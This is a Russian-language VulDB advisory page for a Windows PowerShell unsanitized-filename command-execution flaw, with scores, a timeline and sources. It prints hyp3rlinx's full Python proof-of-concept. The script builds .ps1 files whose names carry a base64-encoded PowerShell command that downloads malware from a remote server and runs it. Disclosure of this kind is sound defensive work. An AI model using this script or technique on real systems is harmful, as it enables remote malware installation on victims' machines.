CVSS Meta Temp Score | Текущая цена эксплуатации (≈) | Балл интереса CTI |
---|---|---|
5.7 | $0-$5k | 0.00 |
Уязвимость была найдена в Microsoft Windows и классифицирована как критический. Затронута неизвестная функция компонента PowerShell. Определение CWE для уязвимости следующее CWE-94. Консультацию можно прочитать на сайте hyp3rlinx.altervista.org. Публичный релиз был скоординирован в сотрудничестве с поставщиком.
Атака может быть инициирована удаленно. Технические подробности отсутствуют. Популярность этой уязвимости ниже среднего. Более того, существует эксплойт. Эксплойт был раскрыт общественности и может быть использован. Текущая цена за эксплойт может составлять около USD $0-$5k в настоящее время. Согласно MITRE ATT&CK, техника атаки, используемая в данной проблеме, имеет значение T1059.
Объявляется proof-of-concept. Эксплойт доступен для загрузки на сайте hyp3rlinx.altervista.org. Уязвимость обрабатывалась как непубличный эксплойт нулевого дня в течение как минимум 12 дней. Мы ожидаем, что 0-день стоил приблизительно $25k-$100k. Код, используемый эксплойтом, следующий:
from base64 import b64encode import argparse,sys #Windows PowerShell - Unsantized Filename Command Execution Vulnerability PoC #Create ".ps1" files with Embedded commands to download, save and execute malware within a PowerShell Script Filename. #Expects hostname/ip-addr of web-server housing the exploit. #By hyp3rlinx #Apparition Security #====================def parse_args(): parser.add_argument("-i", "--ipaddress", help="Remote server to download and exec malware from.") parser.add_argument("-m", "--local_malware_name", help="Name for the Malware after downloading.") parser.add_argument("-r", "--remote_malware_name", help="Malwares name on remote server.") return parser.parse_args()
def main(args): PSEmbedFilenameMalwr="" if args.ipaddress: PSEmbedFilenameMalwr = "powershell iwr "+args.ipaddress+"/"+args.remote_malware_name+" -O %CD%\"+args.local_malware_name+" ;sleep -s 2;start "+args.local_malware_name return b64encode(PSEmbedFilenameMalwr.encode('UTF-16LE'))
def create_file(payload): f=open("Test;PowerShell -e "+payload+";2.ps1", "w") f.write("Write-Output 'Have a nice day!'") f.close()
if _name_=="_main_": parser = argparse.ArgumentParser() PSCmds = main(parse_args())
if len(sys.argv)==1: parser.print_help(sys.stderr) sys.exit(1) create_file(PSCmds) print "PowerShell - Unsantized Filename Command Execution File created!" print "By hyp3rlinx"
Рекомендуется отключить затронутый компонент.
Продукт
Тип
Поставщик
Имя
Лицензия
CPE 2.3
CPE 2.2
Видео
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Вектор: 🔍
VulDB Надежность: 🔍
CVSSv3
VulDB Meta Base Score: 6.3VulDB Meta Temp Score: 5.7
VulDB Базовый балл: 6.3
VulDB Временная оценка: 5.7
VulDB Вектор: 🔍
VulDB Надежность: 🔍
CVSSv2
AV | AC | Au | C | I | A |
---|---|---|---|---|---|
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Вектор | Сложность | Аутентификация | Конфиденциальность | Целостность | Доступность |
---|---|---|---|---|---|
разблокировать | разблокировать | разблокировать | разблокировать | разблокировать | разблокировать |
разблокировать | разблокировать | разблокировать | разблокировать | разблокировать | разблокировать |
разблокировать | разблокировать | разблокировать | разблокировать | разблокировать | разблокировать |
VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надежность: 🔍
Эксплуатация
Класс: эскалация привилегийCWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
Локальный: Нет
Удаленный: Да
Доступность: 🔍
Доступ: публичный
Статус: Proof-of-Concept
Автор: John Page (hyp3rlinx)
Скачать: 🔍
Прогнозирование цены: 🔍
Оценка текущей цены: 🔍
0-Day | разблокировать | разблокировать | разблокировать | разблокировать |
---|---|---|---|---|
Сегодня | разблокировать | разблокировать | разблокировать | разблокировать |
Разведка угроз
Интерес: 🔍Активные акторы: 🔍
Активные группы APT: 🔍
Контрмеры
Рекомендуется: DisableСтатус: 🔍
0-дневное время: 🔍
Время задержки эксплойта: 🔍
Временная шкала
20.07.2019 🔍23.07.2019 🔍
01.08.2019 🔍
01.08.2019 🔍
06.08.2019 🔍
21.07.2020 🔍
Источники
Поставщик: microsoft.comПродукт: microsoft.com
Консультация: hyp3rlinx.altervista.org
Исследователь: John Page (hyp3rlinx)
Статус: Не определено
Скоординированный: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013
Смотрите также: 🔍
Вход
Создано: 06.08.2019 07:42Обновлено: 21.07.2020 11:24
Изменения: 06.08.2019 07:42 (53), 21.07.2020 11:24 (2)
Завершить: 🔍
Отправитель: hyp3rlinx
Cache ID: 18:29C:103
Submit
принято
- Submit #80: Microsoft Windows PowerShell / Unsanitized Filename Command Execution (по hyp3rlinx)
Duplicate
- Submit #166189: Windows PowerShell / Trojan File RCE (revisited) (по hyp3rlinx)
- Submit #249561: Microsoft Defender Anti-Malware PowerShell API * Remote Code Execution (по hyp3rlinx)
Комментариев пока нет. Языки: ru + en.
Пожалуйста, войдите в систему, чтобы прокомментировать.